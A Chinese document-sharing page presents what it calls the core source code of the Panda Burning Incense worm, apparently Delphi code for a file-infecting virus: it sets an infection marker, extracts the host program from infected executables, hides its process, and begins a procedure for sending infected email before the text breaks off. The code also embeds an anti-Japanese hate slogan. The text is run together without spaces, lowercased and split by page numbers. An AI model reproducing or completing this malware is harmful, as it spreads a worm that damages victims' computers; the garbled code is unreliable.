资源描述:
《熊猫烧香核心代码.doc》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、熊猫烧香核心代码-------------------------------------------------------------------------------------------------programjapussy;useswindows,sysutils,classes,graphics,shellapi{,registry};constheadersize=82432;//病毒体的大小iconoffset=$12eb8;//pe文件主图标的偏移量//在我的delphi5sp1上面编译得到的大小,其它版本的d
2、elphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量{headersize=38912;//upx压缩过病毒体的大小iconoffset=$92bc;//upx压缩过pe文件主图标的偏移量//upx1.24w用法:upx-9--8086japussy.exe}iconsize=$2e8;//pe文件主图标的大小--744字节icontail=iconoffset+iconsize;//pe文件主图标的尾部id=$44444444;//感染标记//垃圾码,以备写入catchword='ifaracenee
3、dtobekilledout,itmustbeyamato.'+'ifacountryneedtobedestroyed,itmustbejapan!'+'***w32.japussy.worm.a***';{$r*.res}functionregisterserviceprocess(dwprocessid,dwtype:integer):integer;stdcall;external'kernel32.dll';//函数声明vartmpfile:string;si:startupinfo;pi:process_informati
4、on;isjap:boolean=false;//日文操作系统标记{判断是否为win9x}functioniswin9x:boolean;varver:tosversioninfo;beginresult:=false;ver.dwosversioninfosize:=sizeof(tosversioninfo);ifnotgetversionex(ver)thenexit;if(ver.dwplatformid=ver_platform_win32_windows)then//win9xresult:=true;end;{在流之间复
5、制}procedurecopystream(src:tstream;sstartpos:integer;dst:tstream;dstartpos:integer;count:integer);varscurpos,dcurpos:integer;beginscurpos:=src.position;dcurpos:=dst.position;src.seek(sstartpos,0);dst.seek(dstartpos,0);dst.copyfrom(src,count);src.seek(scurpos,0);dst.seek(
6、dcurpos,0);end;{将宿主文件从已感染的pe文件中分离出来,以备使用}procedureextractfile(filename:string);varsstream,dstream:tfilestream;begintrysstream:=tfilestream.create(paramstr(0),fmopenreadorfmsharedenynone);trydstream:=tfilestream.create(filename,fmcreate);trysstream.seek(headersize,0);//跳
7、过头部的病毒部分dstream.copyfrom(sstream,sstream.size-headersize);finallydstream.free;end;finallysstream.free;end;exceptend;end;{填充startupinfo结构}procedurefillstartupinfo(varsi:startupinfo;state:word);beginsi.cb:=sizeof(si);si.lpreserved:=nil;si.lpdesktop:=nil;si.lptitle:=nil;si
8、.dwflags:=startf_useshowwindow;si.wshowwindow:=state;si.cbreserved2:=0;si.lpreserved2:=nil;end;{发带毒邮件}procedur